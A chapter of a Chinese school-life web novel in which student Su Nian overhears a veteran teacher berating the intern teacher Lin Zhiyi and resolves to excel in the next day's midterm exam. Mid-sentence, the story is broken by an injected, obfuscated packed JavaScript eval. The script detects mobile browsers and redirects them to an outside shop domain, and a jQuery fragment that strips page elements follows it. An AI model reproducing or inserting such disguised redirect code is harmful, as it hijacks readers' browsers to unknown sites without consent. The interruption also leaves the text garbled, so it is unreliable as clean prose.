第二节课下课铃响，刘国强收走最后一张草稿纸，在讲台上把纸张墩齐。
“明天期中考，考场座位表贴在后黑板上。下午放学前把书桌清空，书全搬到走廊去。”刘国强拍掉手上的粉笔灰，“谁都别想作弊，抓到一个就通报批评，卷子作废。”
他夹起教案，走出了教室。
教室里顿时吵闹起来，男生撕了纸团互扔，砸在黑板上，掉进粉笔盒里。几个女生围在周雨晴座位旁，对着刚才默写的答案。
苏念盖上笔帽，把黑笔收进铁皮铅笔盒，发出“咔哒”一声。
她拉开书包最外层的拉链，拿出那把红黑格子的折叠伞。伞被她用干毛巾擦过，叠得平整，外面还套着个塑料袋。
她得把伞还给林知意。
顺便去语文组办公室，把全班的随笔本抱回来，这是林知意昨天交给她的活儿。
陈小满嘴里塞着QQ糖，腮帮子一鼓一鼓的。她瞟了眼苏念手里的伞，又看看她另一只手上的登记表。
“你去语文办公室？”陈小满含糊地问。
“嗯。”
“那你小心点，刚才第一节课，王建国在走廊上把隔壁班的语文课代表骂了一顿。他今天脸黑得跟锅底一样。”陈小满压低声音，“你别撞他枪口上。”
苏念点点头。
她记得王建国，她以前的周记就是被他当众念出来嘲笑的。
她拿着伞和登记表，从后门出去。
走廊里灌着风，吹得地上的废纸片打转。
张逸飞趴在栏杆上，手里捏着个纸飞机，正瞄准楼下的花坛。纸飞机飞出去，在半空打了几个旋，一头栽进泥地里。张逸飞骂了句脏话。
周雨晴拿着不锈钢水杯，正往开水房走。路过苏念时，她的视线在苏念手里的塑料袋上停了一秒。
“苏念，随笔本抱回来直接发，别乱翻。”周雨晴丢下一句话，抬着下巴，踩着白球鞋走开了。
苏念没理她。
还伞，抱本子，回教室复习。她想在明天的语文考试里，把阅读理解的分数拿满。她算过，只要阅读理解不扣分，她的语文成绩就能进班级前十。
初二教师办公区在走廊尽头。
门半掩着，里面没开灯，光线昏暗。
苏念走到门口，抬手正要敲门。
“啪。”
一声脆响从门缝里传出来，是竹教鞭抽在木桌上的声音。
苏念的手停在半空。
“林老师，你这么搞，纯粹是浪费时间。”
是王建国在说话。
苏念侧过身，视线顺着门缝看进去。
王建国坐在靠窗的办公桌前，手里拿着那根磨得发亮的竹教鞭，指着桌上的一叠卷子。
“初二马上要面临升学压力，你不让他们背字词，不做阅读理解，天天搞什么匿名朗读。期中考试成绩拉下来，谁负责？”
王建国嗓门很大，完全是教训人的口气。他带过好几届毕业班，在初二组说话很有分量。
林知意站在自己那张小办公桌前，今天穿了件浅蓝色的衬衫，头发扎成低马尾。桌上堆着两个班的作业本。
“王老师。”林知意开口，声音不高，却字字清晰，“我没落下大纲要求的字词，匿名朗读只占用每周一节课。语文不只是为了考试，唤醒他们的表达欲同样重要。”
王建国冷笑一声，把教鞭扔在桌上，竹子砸在玻璃板上，声音尖利。
“表达欲？能当饭吃？能换中考分数？你问问那些家长，他们送孩子来是学表达欲的，还是来考高中的？”
王建国端起搪瓷茶缸，喝了口水，吐/出茶叶沫。
“你才来几天？实习期一个月，拍拍屁/股走人，留个烂摊子给我们。到时候平均分垫底，挨批的是我们，扣奖金的也是我们。刘国强昨天还在会上抱怨，说三班的纪律被你带散了。”
林知意站着没动。
“王老师，三班的学生不差，他们只是需要被看到。我看了他们的随笔，很多人有很好的观察力，只要给他们一点信心，成绩自然会上去。”
“信心？”王建国打断她，音量更高了，“你给那个苏念读作文，就是给信心？她连个西瓜钱都要写进周记，能有什么出息？你把精力放在这种学生身上，就是本末倒置。周雨晴那种好苗子你不抓，去管一个倒数第一？”
苏念站在门外。
听到自己的名字，她的呼吸顿了一下。
手里的格子伞被捏紧，塑料袋发出轻微的摩/擦声。
她看着门缝里的林知意。
林知意的脊背挺直。
“苏念的文字很有灵气，她能看到别人看不到的细节。这不是本末倒置，每个学生都有自己的闪光点。”林知意说，语速快了些。
“少跟我来这套虚的。”王建国摆了摆手，“你那套理论在大学里说说就行了。这里是七中，明天就是期中考试，成绩出来，你就看看你的表达欲值多少分。到时候不用我说，教务处也会找你谈话。”
王建国拿起报纸，抖了抖，挡住脸，不再理她。
林知意低着头，看着桌上的作业本，肩膀往下沉了沉。
苏念站在走廊上。
她看着林知意的背影。
她从没见过林知意被人这样训斥。在她眼里，林知意总是温和的，有办法对付周雨晴的刁难，有耐心听她结结巴巴的英语。
可现在，林知意因为她，因为那个匿名朗读，被老教师指着鼻子骂。
苏念低头看着手里的红黑格子伞。
林知意为了给她撑伞，自己淋湿了半边肩膀，现在又为了她的作文，挨了王建国的骂。
苏念把伞换到左手。
她要考好。
不是为了及格，也不是为了姜翠花的唠叨。
她要让王建国闭嘴，要让林知意的“表达欲”变成实打实的分数。
苏念抬起右手，在门板上敲了两下。
扣扣。
办公室里安静下来。
王建国从报纸后抬起头。
林知意转过身，看向门口。
苏念推开门走进去。
“林老师，我来抱作业本。”她说，声音听不出起伏。
林知意愣了一下，快速转过身，背对着苏念在桌上翻找作业本。
苏念走到办公桌前。
王建国扫了苏念一眼，从鼻子里哼了一声，端起茶缸继续喝水，哗啦一声翻了一页报纸。
苏念没看他，只盯着林知意的侧脸。
林知意把一摞本子理好，转回头面对苏念。
她脸上挤出一个笑，露出两个浅浅的酒窝。
“苏念，你来啦。这是昨天的随笔本，都批改完了。”林知意把本子递过来。
苏念接过本子，很沉。
她看着林知意。
那个笑容很标准，挑不出毛病。
但苏念看到了，林知意的眼角发红。
眼眶里有水汽，被硬生生憋了回去。
苏念把作业本抱在胸/前。
“谢谢林老师。”
她把那把套着塑料袋的红黑格子伞放在办公桌上。
“伞干了，我还给你。”
林知意看着桌上的伞，脸上的笑容顿了一下。
“好。”她轻声说。
苏念没走，她站在原地，直视着林知意的眼睛。
“林老师。”
“嗯？”
“明天的期中考试，我会好好考。”苏念说。
林知意愣住，看着苏念，嘴唇动了动，没说出话。
苏念抱紧作业本，转身走出办公室。
她走得很稳。
门在她身后关上。
走廊上的风吹过来，苏念把作业本抱得更紧。
不只要画好辅助线，语文卷子上的阅读理解，她一分都不能丢。
她要把那些丢掉的分数，一分一分地拿回来。
为了那把伞，也为了那双发红的眼睛。
苏念抱着一摞随笔本往回走。
路过三班窗户时，她听到里面传来周雨晴的声音。
“这次期中考试的语文，作文占四十分。大家多背几段好词好句，别写那些没用的流水账。”周雨晴站在讲台上，手里拿着语文书，眼睛扫视全班。
几个女生在下面附和。
苏念走进后门。
她把随笔本放在第一排的课桌上。
“发下去。”苏念对坐在第一排的男生说。
男生正在抄作业，头也没抬，胡乱点了点头。
苏念回到自己的座位。
陈小满凑过来。
“你没事吧？王建国骂你了？”
“没有。”苏念把英语书收起来，拿出语文课本。
“那你怎么板着个脸？”陈小满撇嘴，“我还以为你被骂哭了呢。”
苏念翻开语文书。
“我在想阅读理解。”
陈小满翻了个白眼，又往嘴里塞了颗QQ糖。
“你疯了，明天就考试了，你现在想阅读理解有什么用。你能把那几首古诗默出来就不错了。”
苏念没接话。
她看着书上的课文，《背影》。
她想起林老师课上讲的，背影藏不住一个人的情绪。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849277|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刚才在办公室里，看到了林知意的背影。
那个背影单薄，但没有弯下去。
苏念拿起黑笔，在草稿纸上写下王建国刚才说的一个词。
本末倒置。
她盯着这四个字。
王建国以为，抓成绩是本，管倒数第一是末。
苏念用笔尖在纸上划了一道，把这四个字划掉。
她会证明给他看。
谁是本，谁是末。
下午放学铃响。
刘国强站在讲台上指挥考场布置。
“所有书本，全部搬到走廊。抽屉里不准留一张纸。桌子拉开距离，单人单桌。”
教室里乱成一团，搬桌子的，收书包的，扫地的，铁椅子腿刮在水泥地上，声音刺耳。
苏念把书包塞得满满的，把剩下的几本书抱在怀里，走到走廊上。
走廊上靠墙堆满了书。
苏念找了个空地，把自己的书放下。
她蹲在地上，整理书本。
周雨晴抱着一摞辅导书走过来，停在苏念旁边。她今天没让李思思帮忙搬书，自己抱了一/大摞。
“苏念。”周雨晴居高临下地看着她，“你这两天挺出风头啊，连英语对话都敢举手了。”
苏念把一本数学练习册放平。
“王老师点名的。”
“少装蒜。”周雨晴冷哼一声，“你以为林老师夸你两句作文，你就能翻身了？期中考试看的是总分，你那点小聪明，在真正的实力面前什么都不是。”
苏念站起来，拍了拍手上的灰。
她看着周雨晴。
“周雨晴。”
“干嘛？”
“你背过《我与地坛》吗？”苏念问。
周雨晴皱眉：“背那个干嘛？大纲又不考。”
苏念点点头。
“林老师说，阅读不是为了大纲。”
周雨晴嗤笑一声。
“林老师？她自己都快自身难保了，你还拿她的话当圣旨。”周雨晴往前走了一步，压低声音，“我爸跟校长吃过饭，实习老师要是带不出成绩，学校根本不会留她。你以为她能护你多久？”
苏念看着周雨晴的眼睛。
“我不需要她护。”苏念说，“我会自己考。”
周雨晴嗤笑一声，抱着书走了。
苏念站在走廊上。
她看着周雨晴的背影。
周雨晴在怕。怕别人抢走她的第一名，怕失去优越感。
苏念转过头，看着墙外灰蒙蒙的天。
她不怕。
她已经没有什么可以失去的了。
她现在有伞了。
苏念背起书包，往楼下走。
走到一楼大厅，她看到林知意站在公告栏前。
林知意在看期中考试的考场安排表。
苏念停下脚步，没有走过去打招呼。
她站在柱子后面，看着林知意的背影。
林知意的手指在名单上划过，停在最后一个考场的位置。
那里是苏念的名字。
苏念握紧书包带子。
她转身走出教学楼。
城中村的巷子里，修鞋老头今天出摊了。
苏念路过摊位，没有停留。
她回到家，姜翠花正在厨房切菜。
“回来了，赶紧洗手吃饭。吃完复习，明天考试别给我丢人。”姜翠花的声音伴着切菜声传出来。
“知道了。”苏念放下书包。
她走进房间，关上门。
她拿出那本蓝皮周记本。
里面夹着两张便签纸。
一张写着赞赏，一张写着感谢。
苏念看了一会儿，把本子合上。
她拿出数学练习册，翻到最后一页。
她拿起直尺和铅笔。
她要在明天的考卷上，画出最直的辅助线。
她要让那些人看看，她苏念到底是什么样。
夜深了。
苏念合上练习册，从抽屉深处摸出那个存钱罐。
里面是她帮人搬西瓜赚来的零钱，还有每天省下的饭钱。
她把存钱罐抱在怀里，听着里面硬币碰撞的闷响。
明天考完试，她要去一趟书店。
她要给林知意买一样东西。
一样能证明“表达欲”不是废话的东西。
苏念把存钱罐放回去，关掉台灯。
黑暗中，她闭上眼睛。
脑海里全是王建国敲击桌面的声音，还有林知意发红的眼角。
她攥紧被角。
明天，期中考试。